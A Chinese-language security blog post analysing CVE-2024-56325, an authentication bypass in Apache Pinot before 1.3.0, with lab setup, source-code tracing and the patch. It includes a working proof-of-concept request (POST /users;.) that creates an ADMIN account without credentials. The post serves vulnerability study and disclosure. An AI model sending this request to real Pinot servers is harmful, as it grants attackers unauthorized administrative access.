奇安信攻防社区-CVE-2024-56325: Apache Pinot Authentication bypass 漏洞分析

CVE-2024-56325: Apache Pinot Authentication bypass 漏洞分析

Apache Pinot 是一个实时分布式的 OLAP 数据存储和分析系统。使用它实现低延迟可伸缩的实时分析。Pinot 从离线数据源（包括 Hadoop 和各类文件）和在线数据源（如 Kafka）中攫取数据进行分析。 Apache Pinot 存在身份认证绕过漏洞。如果路径不包含 / 且包含 . 则不需要身份验证。

前言
==

前两天看到这条通告，一搜发现评分 9.8，于是分析一下具体怎么个事

<https://www.openwall.com/lists/oss-security/2025/03/27/8>

漏洞简介
====

Apache Pinot 是一个实时分布式的 OLAP 数据存储和分析系统。使用它实现低延迟可伸缩的实时分析。Pinot 从离线数据源（包括 Hadoop 和各类文件）和在线数据源（如 Kafka）中攫取数据进行分析。

Apache Pinot 存在身份认证绕过漏洞。如果路径不包含 `/` 且包含 `.` 则不需要身份验证。

影响版本
====

Apache Pinot &lt; 1.3.0

环境搭建
====

参考官方文档

<https://docs.pinot.apache.org/basics/getting-started/running-pinot-in-docker>

这里需要开启认证机制（文档给的命令是没开的），命令中设置 `-type` 参数为 auth 即可

```bash
docker run \
    -p 2123:2123 \
    -p 9000:9000 \
    -p 8000:8000 \
    -p 7050:7050 \
    -p 6000:6000 \
    apachepinot/pinot:1.2.0 QuickStart \
    -type auth
```

如需调试可以用以下操作

首先启动容器，替换 entrypoint 命令为 /bin/bash

```bash
docker run -it -p 5005:5005 -p 2123:2123 -p 9000:9000 -p 8000:8000 -p 7050:7050 -p 6000:6000 --entrypoint /bin/bash apachepinot/pinot:1.2.0
```

然后自行手动启动，并添加调试的参数`-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005`

```bash
/usr/lib/jvm/java-17-amazon-corretto/bin/java --add-opens=java.base/java.nio=ALL-UNNAMED --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED -Xms4G -Xmx4G -Dpinot.admin.system.exit=false -Dplugins.dir=/opt/pinot/plugins -classpath /opt/pinot/lib/*:/opt/pinot/plugins/pinot-stream-ingestion/pinot-pulsar/pinot-pulsar-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-stream-ingestion/pinot-kinesis/pinot-kinesis-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-stream-ingestion/pinot-kafka-2.0/pinot-kafka-2.0-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-batch-ingestion/pinot-batch-ingestion-standalone/pinot-batch-ingestion-standalone-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-minion-tasks/pinot-minion-builtin-tasks/pinot-minion-builtin-tasks-1.2.0.jar:/opt/pinot/plugins/pinot-segment-uploader/pinot-segment-uploader-default/pinot-segment-uploader-default-1.2.0.jar:/opt/pinot/plugins/pinot-segment-writer/pinot-segment-writer-file-based/pinot-segment-writer-file-based-1.2.0.jar:/opt/pinot/plugins/pinot-metrics/pinot-dropwizard/pinot-dropwizard-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-metrics/pinot-yammer/pinot-yammer-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-avro/pinot-avro-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-csv/pinot-csv-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-json/pinot-json-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-parquet/pinot-parquet-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-protobuf/pinot-protobuf-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-thrift/pinot-thrift-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-orc/pinot-orc-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-confluent-avro/pinot-confluent-avro-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-input-format/pinot-clp-log/pinot-clp-log-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-adls/pinot-adls-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-hdfs/pinot-hdfs-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-gcs/pinot-gcs-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-file-system/pinot-s3/pinot-s3-1.2.0-shaded.jar:/opt/pinot/plugins/pinot-environment/pinot-azure/pinot-azure-1.2.0-shaded.jar -Dapp.name=pinot-admin -Dapp.pid=1 -Dapp.repo=/opt/pinot/lib -Dapp.home=/opt/pinot -Dbasedir=/opt/pinot -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 org.apache.pinot.tools.admin.PinotAdministrator QuickStart -type auth
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-003525e31f3c7176b7271e0cf5d65f62749e36d9.png)

访问 ip:9000 端口即可看到 Apache Pinot Controller 的认证页面

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-ff6e2b495a82760cfc0a6fea4e5343f88e8bdc07.png)

IDEA 远程调试的步骤这里不再赘述。

Apache Pinot 下载地址

<https://pinot.apache.org/download/>

漏洞复现
====

预期请求，未认证会响应 401

```http
POST /users HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
Accept: */*
Host: 
Content-Length: 180

{
  "username": "hack10",
  "password": "hack",
  "component": "CONTROLLER",
  "role": "ADMIN",
  "tables": [],
  "permissions": [],
  "usernameWithComponent": "hack_CONTROLLER"
}
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-192498ccb724732f3f70cc601be73ff7787dff1c.png)

构造如下 Poc 可成功绕过身份认证

```http
POST /users;. HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
Accept: */*
Host: 
Content-Length: 180

{
  "username": "hack10",
  "password": "hack",
  "component": "CONTROLLER",
  "role": "ADMIN",
  "tables": [],
  "permissions": [],
  "usernameWithComponent": "hack_CONTROLLER"
}
```

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-c84b1bddb66dc3dcbc7831d9b12ce003707a8350.png)

漏洞分析
====

主要关注 org.apache.pinot.controller.api 这个包

判断请求是否需要认证的方法为

`org.apache.pinot.controller.api.access.AuthenticationFilter#filter`

```java
public void filter(ContainerRequestContext requestContext) throws IOException {
    Request request = (Request)this._requestProvider.get();
    Method endpointMethod = this._resourceInfo.getResourceMethod();
    AccessControl accessControl = this._accessControlFactory.create();
    String endpointUrl = request.getRequestURI().substring(request.getContextPath().length());
    UriInfo uriInfo = requestContext.getUriInfo();
    if (!isBaseFile(uriInfo.getPath()) && !UNPROTECTED_PATHS.contains(uriInfo.getPath())) {
        if (!accessControl.protectAnnotatedOnly() || endpointMethod.isAnnotationPresent(Authenticate.class)) {
            if (!endpointMethod.isAnnotationPresent(ManualAuthorization.class)) {
                String tableName = extractTableName(uriInfo.getPathParameters(), uriInfo.getQueryParameters());
                if (tableName != null) {
                    tableName = DatabaseUtils.translateTableName(tableName, this._httpHeaders);
                }

AccessType accessType = this.extractAccessType(endpointMethod);
                AccessControlUtils.validatePermission(tableName, accessType, this._httpHeaders, endpointUrl, accessControl);
                FineGrainedAuthUtils.validateFineGrainedAuth(endpointMethod, uriInfo, this._httpHeaders, accessControl);
            }
        }
    }
}
```

分析逻辑可以发现，这里的判断由两个因素组成，满足其中一个即可绕过认证，后者就是设置好的白名单，用于公共接口。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-47de2a0d33d8ec4aace91fab56a70906ad6fc953.png)

跟进`org.apache.pinot.controller.api.access.AuthenticationFilter#isBaseFile`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-c67c27c16fac29b14794a7426cd8c67396620252.png)

可以发现漏洞公告所提到的 "If the path does not contain / and contain . authentication is not required"。因此当这个函数返回为 True 时，filter 方法的 if 判断则为 false，即无需认证。

然后我们来看如何在必须包含`.`的情况下访问正常的接口，也就是让这个点号不影响我们路由的解析。参考这篇文章可以找到 Apache Pinot 用的这款RESTful框架 —— jersey 的路由解析的逻辑和相关源码

[https://blog.csdn.net/qq\_30062125/article/details/83758334](https://blog.csdn.net/qq_30062125/article/details/83758334)

在`org.glassfish.jersey.server.internal.routing.RoutingStage#apply`打上断点

```java
public Stage.Continuation<RequestProcessingContext> apply(RequestProcessingContext context) {
    ContainerRequest request = context.request();
    context.triggerEvent(Type.MATCHING_START);
    TracingLogger tracingLogger = TracingLogger.getInstance(request);
    long timestamp = tracingLogger.timestamp(ServerTraceEvent.MATCH_SUMMARY);

Stage.Continuation var8;
    try {
        RoutingResult result = this._apply(context, this.routingRoot);
        Stage<RequestProcessingContext> nextStage = null;
        if (result.endpoint != null) {
            context.routingContext().setEndpoint(result.endpoint);
            nextStage = this.getDefaultNext();
        }

var8 = Continuation.of(result.context, nextStage);
    } finally {
        tracingLogger.logDuration(ServerTraceEvent.MATCH_SUMMARY, timestamp, new Object[0]);
    }

return var8;
}
```

可以看到这里使用了前缀匹配`Type.MATCHING_START`，然后继续调试跟进`org.glassfish.jersey.server.internal.routing.RoutingStage#_apply`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-6f16b2d7a63b504ac79354b5b690ac65d0e025ad.png)

然后跟进`org.glassfish.jersey.server.internal.routing.MatchResultInitializerRouter#apply`，这个方法在初始化路由匹配信息

```java
public Router.Continuation apply(RequestProcessingContext processingContext) {
    RoutingContext rc = processingContext.routingContext();
    rc.pushMatchResult(new SingleMatchResult("/" + processingContext.request().getPath(false)));
    return Continuation.of(processingContext, this.rootRouter);
}
```

获取请求路径时参数为 false，即设置了不进行 url 解码，然后传入到 SingleMatchResult 类进行实例化

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-9c2121bf856e03d20b352e2c288e54a49faa272b.png)

跟进 `SingleMatchResult` 类实例化的逻辑，可以发现这里对传入的路径进行了处理，简单说就是忽略 `;`和`/`之间的内容，包括`;`，如果 `;`后面没有下一个`/`则忽略之后所有内容。例如 `/aaa;bbb/cccc;dddd`传入该函数后会返回 `/aaa/ccc`。

```php
public SingleMatchResult(String path) {
    this.path = stripMatrixParams(path);
}

private static String stripMatrixParams(String path) {
    int e = path.indexOf(59);
    if (e == -1) {
        return path;
    } else {
        int s = 0;
        StringBuilder sb = new StringBuilder();

do {
            sb.append(path, s, e);
            s = path.indexOf(47, e + 1);
            if (s == -1) {
                break;
            }

e = path.indexOf(59, s);
        } while(e != -1);

if (s != -1) {
            sb.append(path, s, path.length());
        }

return sb.toString();
    }
}
```

显然这里就是让路径中包含`.`号，而不影响路由解析的好办法。于是 Poc 中构造`;.`在正常接口后进行绕过认证机制。

然后给处理后的路径交给`org.glassfish.jersey.server.internal.routing.PathMatchingRouter#apply`匹配对应的路由规则，先匹配到 `/.*`这个规则

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-b835d0f041c11691fcd826e973c34e6d57a1cdcf.png)

然后进一步匹配到`/users(/)?`这个规则

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-74bf877587bd0030c2af1691b90e8c854a09d136.png)

最终拿到对应的路由

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-707533a8d860df88f9cf0d5abd440a2e225fcf56.png)

补丁修复
====

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-dae9dbef8ae0d88d618362d05b370df231ce8eb4.png)

可以看到这里给获取到的路径也用了路由匹配时的`stripMatrixParams`方法进行处理，使点号无所遁形，也就没法构造为满足条件的路径了

结语
==

分析完发现这个漏洞还是有点鸡肋，需要没有`/`，也就是说，只能像`/aaa`这样的路由才能绕过认证，而 `/api/aaa`这种就没法绕过（难道是有可以构造的方式吗）。而且这个添加用户后，用户有哪些权限呢？因为对这款产品了解不多，确实没看出来新增的用户能干嘛（希望有大佬可以解答）。不过至少获取敏感信息还是可以做到的

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/03/attach-b2251ab76b808792b24b88bab6f84f74a03cf497.png)

发表于 2025-04-03 10:00:00
阅读 ( 1919 )
分类：Web应用

CVE-2024-56325: Apache Pinot Authentication bypass 漏洞分析

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